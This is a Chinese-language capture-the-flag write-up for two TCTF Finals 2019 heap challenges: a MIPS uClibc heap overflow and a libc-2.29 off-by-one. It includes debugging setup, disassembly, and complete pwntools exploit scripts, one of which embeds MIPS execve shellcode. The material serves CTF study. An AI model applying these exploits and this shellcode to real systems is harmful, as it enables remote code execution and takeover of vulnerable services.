TCTF Finals 2019 Embedded_heap
一个月多前写的,其他的没时间复现了
MIPS PWN Debug with QEMU(System && User Mode)
OFF By NuLL in libc-2.29
0x01 Embedded_heap
Debug
Localhost:
gdb-multiarch ./embedded_heap -q
#set architecture mips:isa32r2
#target remote :1234
Exec Environment:
User Mode:
sudo chroot . ./qemu-mips ./embedded_heap #qemu-mips (static)
or
qemu-mips -L ./ ./embedded_heap
System Mode:
qemu-system-mips -M malta -cpu 24Kf -m 256 -nographic \
-kernel vmlinux-4.9.0-9-4kc-malta \
-initrd kirin.cpio.gz \
-device virtio-net,netdev=net0 \
-netdev user,id=net0,hostfwd=tcp::1234-:1234 \
-monitor null \
#固定cpio.gz文件系统,cpio解压时sudo,普通用户有时会解压不全
#而后更改文件系统,再chown入普通用户,重新构建cpio.gz即可
gdbserver:
https://github.com/rapid7/embedded-tools/tree/master/binaries/gdbserver
#gdbserver :1234 ./embedded_heap
Another Way:
/usr/sbin/xinetd -stayalive
同时:
#cat etc/xinetd.d/embedded_heap
service embedded_heap
{
disable = no
type = UNLISTED
flags = REUSE
wait = no
socket_type = stream
protocol = tcp
bind = 0.0.0.0
rlimit_cpu = 60
port = 9334
user = ctf
group = ctf
server = /embedded_heap
}
此时run.sh
qemu-system-mips -M malta -cpu 24Kf -m 256 -nographic \
-kernel vmlinux-4.9.0-9-4kc-malta \
-initrd kirin.cpio.gz \
-device virtio-net,netdev=net0 \
-netdev user,id=net0,hostfwd=tcp::1234-:1234,hostfwd=tcp::9334-:9334 \
-monitor null \
其中9334用于程序运行交互,1234用于gdbserver调试(PID,在连接后即会看到新的程序进程)
Successful:
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x4c69a000 0x4c69b000 rwxp 1000 0
0x55555000 0x55557000 r-xp 2000 0 /embedded_heap
0x55566000 0x55567000 r-xp 1000 1000 /embedded_heap
0x55567000 0x55568000 rwxp 1000 2000 /embedded_heap
0x55568000 0x55569000 rwxp 1000 0 [heap]
0x77f80000 0x77fd2000 r-xp 52000 0 /lib/libuClibc-0.9.33.2.so
0x77fd2000 0x77fe1000 ---p f000 0
0x77fe1000 0x77fe2000 r-xp 1000 51000 /lib/libuClibc-0.9.33.2.so
0x77fe2000 0x77fe3000 rwxp 1000 52000 /lib/libuClibc-0.9.33.2.so
0x77fe3000 0x77fe8000 rwxp 5000 0
0x77fe8000 0x77fef000 r-xp 7000 0 /lib/ld-uClibc-0.9.33.2.so
0x77ffa000 0x77ffc000 rwxp 2000 0
0x77ffc000 0x77ffd000 r--p 1000 0 [vvar]
0x77ffd000 0x77ffe000 r-xp 1000 0 [vdso]
0x77ffe000 0x77fff000 r-xp 1000 6000 /lib/ld-uClibc-0.9.33.2.so
0x77fff000 0x78000000 rwxp 1000 7000 /lib/ld-uClibc-0.9.33.2.so
0x7fc31000 0x7ffff000 rw-p 3ce000 0 [stack]
0x7ffff000 0x80000000 r-xp 1000 0
Analyze
checksec ./embedded_heap
[!] Could not populate PLT: Invalid memory write (UC_ERR_WRITE_UNMAPPED)
[*] '/home/kirin/tctf/mipspwn/embedded_heap'
Arch: mips-32-big
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
NX->has RWX??
比赛时候没有仔细看,在System Mode下调试即可发现,其一些段可读可写可执行(好像是MIPS没实现NX??,还有可能是因为他的动态库没有NX保护),从权限看只是对栈进行了控制
程序:
main:
.text:000019F4 # int __cdecl main(int argc, const char **argv, const char **envp)
.text:000019F4 .globl main
.text:000019F4 main: # DATA XREF: LOAD:0000045C↑o
.text:000019F4 # _ftext+1C↑o ...
.text:000019F4
.text:000019F4 var_18 = -0x18
.text:000019F4 var_C = -0xC
.text:000019F4 var_8 = -8
.text:000019F4 var_4 = -4
.text:000019F4
.text:000019F4 li $gp, 0x1860C # Load Immediate
.text:000019FC addu $gp, $t9 # Add Unsigned
.text:00001A00 addiu $sp, -0x28 # Add Immediate Unsigned
.text:00001A04 sw $ra, 0x28+var_4($sp) # Store Word
.text:00001A08 sw $fp, 0x28+var_8($sp) # Store Word
.text:00001A0C move $fp, $sp
.text:00001A10 sw $gp, 0x28+var_18($sp) # Store Word
.text:00001A14 li $v0, 0 # Load Immediate
.text:00001A18 addiu $v0, setbuf # Add Immediate Unsigned
.text:00001A1C move $t9, $v0
.text:00001A20 jalr $t9 ; setbuf # Jump And Link Register
.text:00001A24 nop
.text:00001A28 lw $gp, 0x28+var_18($fp) # Load Word
.text:00001A2C sw $v0, 0x28+var_C($fp) # Store Word
.text:00001A30
.text:00001A30 loc_1A30: # CODE XREF: main:loc_1BA4↓j
.text:00001A30 li $v0, 0 # Load Immediate
.text:00001A34 addiu $v0, menu # Add Immediate Unsigned
.text:00001A38 move $t9, $v0
.text:00001A3C jalr $t9 ; menu # Jump And Link Register
.text:00001A40 nop
.text:00001A44 lw $gp, 0x28+var_18($fp) # Load Word
.text:00001A48 li $v0, 0 # Load Immediate
.text:00001A4C addiu $v0, get_num # Add Immediate Unsigned
.text:00001A50 move $t9, $v0
.text:00001A54 jalr $t9 ; get_num # Jump And Link Register
.text:00001A58 nop
.text:00001A5C lw $gp, 0x28+var_18($fp) # Load Word
.text:00001A60 li $v1, 2 # Load Immediate
.text:00001A64 beq $v0, $v1, loc_1AD0 # Branch on Equal
.text:00001A68 nop
.text:00001A6C slti $v1, $v0, 3 # Set on Less Than Immediate
.text:00001A70 beqz $v1, loc_1A8C # Branch on Zero
.text:00001A74 nop
.text:00001A78 li $v1, 1 # Load Immediate
.text:00001A7C beq $v0, $v1, loc_1AAC # Branch on Equal
.text:00001A80 nop
.text:00001A84 b loc_1B98 # Branch Always
.text:00001A88 nop
.text:00001A8C # ---------------------------------------------------------------------------
.text:00001A8C
.text:00001A8C loc_1A8C: # CODE XREF: main+7C↑j
.text:00001A8C li $v1, 3 # Load Immediate
.text:00001A90 beq $v0, $v1, loc_1AF4 # Branch on Equal
.text:00001A94 nop
.text:00001A98 li $v1, 5 # Load Immediate
.text:00001A9C beq $v0, $v1, loc_1B8C # Branch on Equal
.text:00001AA0 nop
.text:00001AA4 b loc_1B98 # Branch Always
.text:00001AA8 nop
.text:00001AAC # ---------------------------------------------------------------------------
.text:00001AAC
.text:00001AAC loc_1AAC: # CODE XREF: main+88↑j
.text:00001AAC lw $a0, 0x28+var_C($fp) # Load Word
.text:00001AB0 li $v0, 0 # Load Immediate
.text:00001AB4 addiu $v0, update # Add Immediate Unsigned
.text:00001AB8 move $t9, $v0
.text:00001ABC jalr $t9 ; update # Jump And Link Register
.text:00001AC0 nop
.text:00001AC4 lw $gp, 0x28+var_18($fp) # Load Word
.text:00001AC8 b loc_1BA4 # Branch Always
.text:00001ACC nop
.text:00001AD0 # ---------------------------------------------------------------------------
.text:00001AD0
.text:00001AD0 loc_1AD0: # CODE XREF: main+70↑j
.text:00001AD0 lw $a0, 0x28+var_C($fp) # Load Word
.text:00001AD4 li $v0, 0 # Load Immediate
.text:00001AD8 addiu $v0, view # Add Immediate Unsigned
.text:00001ADC move $t9, $v0
.text:00001AE0 jalr $t9 ; view # Jump And Link Register
.text:00001AE4 nop
.text:00001AE8 lw $gp, 0x28+var_18($fp) # Load Word
.text:00001AEC b loc_1BA4 # Branch Always
.text:00001AF0 nop
.text:00001AF4 # ---------------------------------------------------------------------------
.text:00001AF4
.text:00001AF4 loc_1AF4: # CODE XREF: main+9C↑j
.text:00001AF4 lw $a0, 0x28+var_C($fp) # Load Word
.text:00001AF8 li $v0, 0 # Load Immediate
.text:00001AFC addiu $v0, pwn # Add Immediate Unsigned
.text:00001B00 move $t9, $v0
.text:00001B04 jalr $t9 ; pwn # Jump And Link Register
.text:00001B08 nop
.text:00001B0C lw $gp, 0x28+var_18($fp) # Load Word
.text:00001B10 li $v0, 0 # Load Immediate
.text:00001B14 addiu $a0, $v0, aOneMoreTimeTry # "One more time! Try it harder!"
.text:00001B18 la $v0, puts # Load Address
.text:00001B1C move $t9, $v0
.text:00001B20 jalr $t9 ; puts # Jump And Link Register
.text:00001B24 nop
.text:00001B28 lw $gp, 0x28+var_18($fp) # Load Word
.text:00001B2C lw $a0, 0x28+var_C($fp) # Load Word
.text:00001B30 li $v0, 0 # Load Immediate
.text:00001B34 addiu $v0, pwn # Add Immediate Unsigned
.text:00001B38 move $t9, $v0
.text:00001B3C jalr $t9 ; pwn # Jump And Link Register
.text:00001B40 nop
.text:00001B44 lw $gp, 0x28+var_18($fp) # Load Word
.text:00001B48 li $v0, 0 # Load Immediate
.text:00001B4C addiu $a0, $v0, aEverythingIsSt # "Everything is still fine. Is that all y"...
.text:00001B50 la $v0, puts # Load Address
.text:00001B54 move $t9, $v0
.text:00001B58 jalr $t9 ; puts # Jump And Link Register
.text:00001B5C nop
.text:00001B60 lw $gp, 0x28+var_18($fp) # Load Word
.text:00001B64 lw $a0, 0x28+var_C($fp) # Load Word
.text:00001B68 li $v0, 0 # Load Immediate
.text:00001B6C addiu $v0, update # Add Immediate Unsigned
.text:00001B70 move $t9, $v0
.text:00001B74 jalr $t9 ; update # Jump And Link Register
.text:00001B78 nop
.text:00001B7C lw $gp, 0x28+var_18($fp) # Load Word
.text:00001B80 move $v0, $zero
.text:00001B84 b loc_1BAC # Branch Always
.text:00001B88 nop
.text:00001B8C # ---------------------------------------------------------------------------
.text:00001B8C
.text:00001B8C loc_1B8C: # CODE XREF: main+A8↑j
.text:00001B8C move $v0, $zero
.text:00001B90 b loc_1BAC # Branch Always
.text:00001B94 nop
.text:00001B98 # ---------------------------------------------------------------------------
.text:00001B98
.text:00001B98 loc_1B98: # CODE XREF: main+90↑j
.text:00001B98 # main+B0↑j
.text:00001B98 li $v0, 1 # Load Immediate
.text:00001B9C b loc_1BAC # Branch Always
.text:00001BA0 nop
.text:00001BA4 # ---------------------------------------------------------------------------
.text:00001BA4
.text:00001BA4 loc_1BA4: # CODE XREF: main+D4↑j
.text:00001BA4 # main+F8↑j
.text:00001BA4 b loc_1A30 # Branch Always
.text:00001BA8 nop
.text:00001BAC # ---------------------------------------------------------------------------
.text:00001BAC
.text:00001BAC loc_1BAC: # CODE XREF: main+190↑j
.text:00001BAC # main+19C↑j ...
.text:00001BAC move $sp, $fp
.text:00001BB0 lw $ra, 0x28+var_4($sp) # Load Word
.text:00001BB4 lw $fp, 0x28+var_8($sp) # Load Word
.text:00001BB8 addiu $sp, 0x28 # Add Immediate Unsigned
.text:00001BBC jr $ra # Jump Register
.text:00001BC0 nop
.text:00001BC0 # End of function main
首先setbuf中map一段随机地址保存后面的chunk信息
而后利用随机数随机分配一些随机大小的chunk
可以进行update,free,view和exit操作
free操作只有两次,且可以看到没有UAF:
.text:00001838 move $a0, $v0 # ptr
.text:0000183C la $v0, free # Load Address
.text:00001840 move $t9, $v0
.text:00001844 jalr $t9 ; free # Jump And Link Register
.text:00001848 nop
.text:0000184C lw $gp, 0x28+var_18($fp) # Load Word
.text:00001850 lw $v0, 0x28+var_C($fp) # Load Word
.text:00001854 sll $v0, 2 # Shift Left Logical
.text:00001858 sll $v1, $v0, 2 # Shift Left Logical
.text:0000185C subu $v0, $v1, $v0 # Subtract Unsigned
.text:00001860 lw $v1, 0x28+arg_0($fp) # Load Word
.text:00001864 addu $v0, $v1, $v0 # Add Unsigned
.text:00001868 sw $zero, 8($v0)
不过在update过程中:
.text:0000157C update: # CODE XREF: main+C8↓p
.text:0000157C # main+180↓p
.text:0000157C # DATA XREF: ...
.text:0000157C
.text:0000157C var_18 = -0x18
.text:0000157C var_10 = -0x10
.text:0000157C var_C = -0xC
.text:0000157C var_8 = -8
.text:0000157C var_4 = -4
.text:0000157C arg_0 = 0
.text:0000157C
.text:0000157C li $gp, 0x18A84 # Load Immediate
.text:00001584 addu $gp, $t9 # Add Unsigned
.text:00001588 addiu $sp, -0x28 # Add Immediate Unsigned
.text:0000158C sw $ra, 0x28+var_4($sp) # Store Word
.text:00001590 sw $fp, 0x28+var_8($sp) # Store Word
.text:00001594 move $fp, $sp
.text:00001598 sw $gp, 0x28+var_18($sp) # Store Word
.text:0000159C sw $a0, 0x28+arg_0($fp) # Store Word
.text:000015A0 li $v0, 0 # Load Immediate
.text:000015A4 addiu $a0, $v0, aIndex # "Index: "
.text:000015A8 la $v0, printf # Load Address
.text:000015AC move $t9, $v0
.text:000015B0 jalr $t9 ; printf # Jump And Link Register
.text:000015B4 nop
.text:000015B8 lw $gp, 0x28+var_18($fp) # Load Word
.text:000015BC li $v0, 0 # Load Immediate
.text:000015C0 addiu $v0, get_num # Add Immediate Unsigned
.text:000015C4 move $t9, $v0
.text:000015C8 jalr $t9 ; get_num # Jump And Link Register
.text:000015CC nop
.text:000015D0 lw $gp, 0x28+var_18($fp) # Load Word
.text:000015D4 sw $v0, 0x28+var_10($fp) # Store Word
.text:000015D8 lw $v0, 0x28+var_10($fp) # Load Word
.text:000015DC bltz $v0, loc_161C # Branch on Less Than Zero
.text:000015E0 nop
.text:000015E4 lw $v0, 0x28+var_10($fp) # Load Word
.text:000015E8 slti $v0, 0x10 # Set on Less Than Immediate
.text:000015EC beqz $v0, loc_161C # Branch on Zero
.text:000015F0 nop
.text:000015F4 lw $v0, 0x28+var_10($fp) # Load Word
.text:000015F8 sll $v0, 2 # Shift Left Logical
.text:000015FC sll $v1, $v0, 2 # Shift Left Logical
.text:00001600 subu $v0, $v1, $v0 # Subtract Unsigned
.text:00001604 lw $v1, 0x28+arg_0($fp) # Load Word
.text:00001608 addu $v0, $v1, $v0 # Add Unsigned
.text:0000160C lw $v1, 0($v0) # Load Word
.text:00001610 li $v0, 1 # Load Immediate
.text:00001614 beq $v1, $v0, loc_1640 # Branch on Equal
.text:00001618 nop
.text:0000161C
.text:0000161C loc_161C: # CODE XREF: update+60↑j
.text:0000161C # update+70↑j
.text:0000161C li $v0, 0 # Load Immediate
.text:00001620 addiu $a0, $v0, aInvalidIndex # "Invalid Index"
.text:00001624 la $v0, puts # Load Address
.text:00001628 move $t9, $v0
.text:0000162C jalr $t9 ; puts # Jump And Link Register
.text:00001630 nop
.text:00001634 lw $gp, 0x28+var_18($fp) # Load Word
.text:00001638 b loc_1708 # Branch Always
.text:0000163C nop
.text:00001640 # ---------------------------------------------------------------------------
.text:00001640
.text:00001640 loc_1640: # CODE XREF: update+98↑j
.text:00001640 li $v0, 0 # Load Immediate
.text:00001644 addiu $a0, $v0, aSize # "Size: "
.text:00001648 la $v0, printf # Load Address
.text:0000164C move $t9, $v0
.text:00001650 jalr $t9 ; printf # Jump And Link Register
.text:00001654 nop
.text:00001658 lw $gp, 0x28+var_18($fp) # Load Word
.text:0000165C li $v0, 0 # Load Immediate
.text:00001660 addiu $v0, get_num # Add Immediate Unsigned
.text:00001664 move $t9, $v0
.text:00001668 jalr $t9 ; get_num # Jump And Link Register
.text:0000166C nop
.text:00001670 lw $gp, 0x28+var_18($fp) # Load Word
.text:00001674 sw $v0, 0x28+var_C($fp) # Store Word
.text:00001678 lw $v0, 0x28+var_C($fp) # Load Word
.text:0000167C bgtz $v0, loc_168C # Branch on Greater Than Zero
.text:00001680 nop
.text:00001684 b loc_1708 # Branch Always
.text:00001688 nop
.text:0000168C # ---------------------------------------------------------------------------
.text:0000168C
.text:0000168C loc_168C: # CODE XREF: update+100↑j
.text:0000168C li $v0, 0 # Load Immediate
.text:00001690 addiu $a0, $v0, aContent # "Content: "
.text:00001694 la $v0, printf # Load Address
.text:00001698 move $t9, $v0
.text:0000169C jalr $t9 ; printf # Jump And Link Register
.text:000016A0 nop
.text:000016A4 lw $gp, 0x28+var_18($fp) # Load Word
.text:000016A8 lw $v0, 0x28+var_10($fp) # Load Word
.text:000016AC sll $v0, 2 # Shift Left Logical
.text:000016B0 sll $v1, $v0, 2 # Shift Left Logical
.text:000016B4 subu $v0, $v1, $v0 # Subtract Unsigned
.text:000016B8 lw $v1, 0x28+arg_0($fp) # Load Word
.text:000016BC addu $v0, $v1, $v0 # Add Unsigned
.text:000016C0 lw $v1, 8($v0) # Load Word
.text:000016C4 lw $v0, 0x28+var_C($fp) # Load Word
.text:000016C8 move $a0, $v1
.text:000016CC move $a1, $v0
.text:000016D0 li $v0, 0 # Load Immediate
.text:000016D4 addiu $v0, sub_AD0 # Add Immediate Unsigned
.text:000016D8 move $t9, $v0
.text:000016DC jalr $t9 ; sub_AD0 # Jump And Link Register
.text:000016E0 nop
.text:000016E4 lw $gp, 0x28+var_18($fp) # Load Word
.text:000016E8 li $v0, 0 # Load Immediate
.text:000016EC addiu $a0, $v0, aChunkDUpdated # "Chunk %d Updated\n"
.text:000016F0 lw $a1, 0x28+var_10($fp) # Load Word
.text:000016F4 la $v0, printf # Load Address
.text:000016F8 move $t9, $v0
.text:000016FC jalr $t9 ; printf # Jump And Link Register
.text:00001700 nop
.text:00001704 lw $gp, 0x28+var_18($fp) # Load Word
.text:00001708
.text:00001708 loc_1708: # CODE XREF: update+BC↑j
.text:00001708 # update+108↑j
.text:00001708 move $sp, $fp
.text:0000170C lw $ra, 0x28+var_4($sp) # Load Word
.text:00001710 lw $fp, 0x28+var_8($sp) # Load Word
.text:00001714 addiu $sp, 0x28 # Add Immediate Unsigned
.text:00001718 jr $ra # Jump Register
.text:0000171C nop
.text:0000171C # End of function update
可以看到最终read的size可控,所以可以溢出控制整个堆
Exploit
mips下主要使用的是针对嵌入式环境的uclibc:
https://www.uclibc.org/downloads/
其针对堆的实现有:
malloc
malloc-standard
malloc-simple
其中malloc是最开始uclibc内部实现的堆实现方式,后期使用的是malloc-standard,即从glibc中迁移过来的堆管理方式,几种方式源码实现方式都比较简单,不用细说
uClibc-0.9.33.2下使用的是malloc-standard
free过程中:
if ((unsigned long)(size) <= (unsigned long)(av->max_fast)
#if TRIM_FASTBINS//此处定义后,topchunk前的fastbin大小的chunk不会free进入fastbin
/* If TRIM_FASTBINS set, don't place chunks
bordering top into fastbins */
&& (chunk_at_offset(p, size) != av->top)
#endif
) {
set_fastchunks(av);//设置max_fast中对应标志位
fb = &(av->fastbins[fastbin_index(size)]);//av中对应bin的位置
p->fd = *fb;
*fb = p;
}
#define fastbin_index(sz) ((((unsigned int)(sz)) >> 3) - 2)
所以这里可以首先修改size来覆写max_fast
此时将一个ptr写入max_fast,这样再次free一个大堆时就可以将一个堆块指针写入一个高地址处的func_ptr来劫持控制流,因为可以看到NX下heap具有可执行权限,将其填充好shellcode即可
在exit过程中跟踪程序流可以看到:
0x77fe8f18 <_ftext+104> ori $v0, $v0, 8
► 0x77fe8f1c <_ftext+108> lw $t9, -0x7fac($gp) <0x77fe8eb0>
0x77fe8f20 <_ftext+112> move $a0, $s0
0x77fe8f24 <_ftext+116> jalr $t9
0x77fe8f28 <_ftext+120> sh $v0, 0x4a($s0)
0x77fe8f2c <_ftext+124> lw $v0, 0x9c($s0)
0x77fe8f30 <_ftext+128> beqz $v0, _ftext+156 <0x77fe8f4c>
0x77fe8f34 <_ftext+132> lw $gp, 0x10($fp)
0x77fe8f38 <_ftext+136> lw $t9, ($s0)
0x77fe8f3c <_ftext+140> addu $t9, $v0, $t9
0x77fe8f40 <_ftext+144> jalr $t9
pwndbg> print $gp
$4 = 2013294608
#0x78007010
此处函数地址位于/lib/ld-uClibc-0.9.33.2.so
,位于state高地址,可以覆盖此处为一个chunk地址,而后在presize置跳转到真正shellcode(因为覆盖的地址指向chunk头,不是data域),或者直接利用最后的update将对应位置写入shellcode
整个利用过程:
struct malloc_state {
/* The maximum chunk size to be eligible for fastbin */
size_t max_fast; /* low 2 bits used as flags */
/* Fastbins */
mfastbinptr fastbins[NFASTBINS];
/* Base of the topmost chunk -- not otherwise kept in a bin */
mchunkptr top;
/* The remainder from the most recent split of a small request */
mchunkptr last_remainder;
/* Normal bins packed as described above */
mchunkptr bins[NBINS * 2];
/* Bitmap of bins. Trailing zero map handles cases of largest binned size */
unsigned int binmap[BINMAPSIZE+1];
/* Tunable parameters */
unsigned long trim_threshold;
size_t top_pad;
size_t mmap_threshold;
/* Memory map support */
int n_mmaps;
int n_mmaps_max;
int max_n_mmaps;
/* Cache malloc_getpagesize */
unsigned int pagesize;
/* Track properties of MORECORE */
unsigned int morecore_properties;
/* Statistics */
size_t mmapped_mem;
size_t sbrked_mem;
size_t max_sbrked_mem;
size_t max_mmapped_mem;
size_t max_total_mem;
};
先置一个chunk的size为8,此时free掉即可覆盖max_fast
再根据需要覆盖的函数指针地址和state的偏移设置另一个chunk(布置shellcode),free后,即可将此处函数指针置为&shellcode,最终调用即可get shell
EXP
from pwn import *
import time
def req2size(size):
return (0x10 if size+4+7<0x10 else (size+4+7)&(~7))
def update(index,size,data,first=False):
if not first:
p.sendlineafter(": ","1")
p.sendlineafter(": ",str(index))
p.sendlineafter(": ",str(size))
p.sendafter(": ",data)
p=remote("127.0.0.1",9332)
context.log_level="debug"
context.arch="mips"
p.recvuntil("===== Embedded Heap =====\n")
size_map=[]
while True:
if "Chunk" not in p.recvuntil(":"):
break
size=p.recvuntil(" bytes")[1:-6]
size_map.append(req2size(int(size)))
print map(hex,size_map)
state_off = 0x66D7C
fini_off = 0x7f064
fake_size =((((fini_off-state_off)&0xffffffff)/4 + 1)*8)&0xffffffff
print hex(fake_size)
shellcode = "3c092f2f35296269afa9fff43c096e2f35297368afa9fff8afa0fffc27bdfff403a02020afa0fffc27bdfffc2806ffffafa6fffc23bdfffc03a030203c198c973739ffff03204827afa9fffc27bdfffc2805ffffafa5fffc23bdfffc2419fffb0320282700bd2820afa5fffc23bdfffc03a0282034020fab0101010c".decode("hex")
#shellcode=asm(shellcraft.mips.linux.sh(),endian="big")//something wrong
data_size={ size_map[0]-8 : p32(0) + p32(8,endian = 'big'),
size_map[1]+size_map[0]-8 : p32(0)+p32(fake_size,endian = 'big') }
data = fit(data_size,filler="\x00")
p.sendline("1")
update(0,len(data),data,True)
p.sendlineafter(": ","3")
p.sendlineafter(": ","1")
p.sendlineafter(": ","2")
code = {size_map[1]+size_map[0]-8 : shellcode}
fake_code = fit(code,filler="\x00")
p.sendlineafter(": ","0")
p.sendlineafter(": ",str(len(fake_code)))
#time.sleep(20)//For gdbserver to debug
p.sendafter(": ",fake_code)
p.interactive()
0x02 babyheap
比较简单的off-by-one
选择利用unlink构造堆重叠而后进一步利用
注意libc-2.29下unsorted合并有前后size对照检查以及使用ld文件进行本地调试即可
from pwn import *
def new(size):
p.sendlineafter("Command: ","1")
p.sendlineafter("Size: ",str(size))
def edit(index,size,note):
p.sendlineafter("Command: ","2")
p.sendlineafter("Index: ",str(index))
p.sendlineafter("Size: ",str(size))
p.sendafter("Content: ",note)
def delete(index):
p.sendlineafter("Command: ","3")
p.sendlineafter("Index: ",str(index))
def show(index):
p.sendlineafter("Command: ","4")
p.sendlineafter("Index: ",str(index))
p.recvuntil("]: ")
return p.recvuntil("\n").strip()
#p=process(["./lib/ld-2.29.so","--library-path","./lib","./babyheap2.29"])
p=remote("192.168.201.21",1904)
#leak
context.log_level="debug"
new(0x18)
new(0x4f8)
new(0x18)
delete(1)
new(0x4f8)
libc_addr=u64(show(1)+"\x00\x00")+0x7ffff7ddb000-0x7ffff7fbfca0
print hex(libc_addr)
delete(0)
delete(2)
new(0x18)
new(0x18)
heap_addr=u64(show(0)+"\x00\x00")
print hex(heap_addr)
new(0x4f8)#3
new(0x4f8)#4
new(0x18)
edit(3,0x4f8,p64(heap_addr-0x10)+p64(heap_addr+0x510)+p64(0)*156+p64(0x500))
edit(0,0x8,p64(heap_addr+0x530))
edit(2,0x10,p64(0)+p64(heap_addr+0x530))
delete(4)
new(0x18)#4
delete(3)
edit(4,0x8,p64(libc_addr+0x1e75a8))
new(0x18)#3
new(0x18)#4
edit(6,0x8,p64(libc_addr+0x52fd0))
edit(3,0x8,"/bin/sh\x00")
#gdb.attach(p)
p.interactive()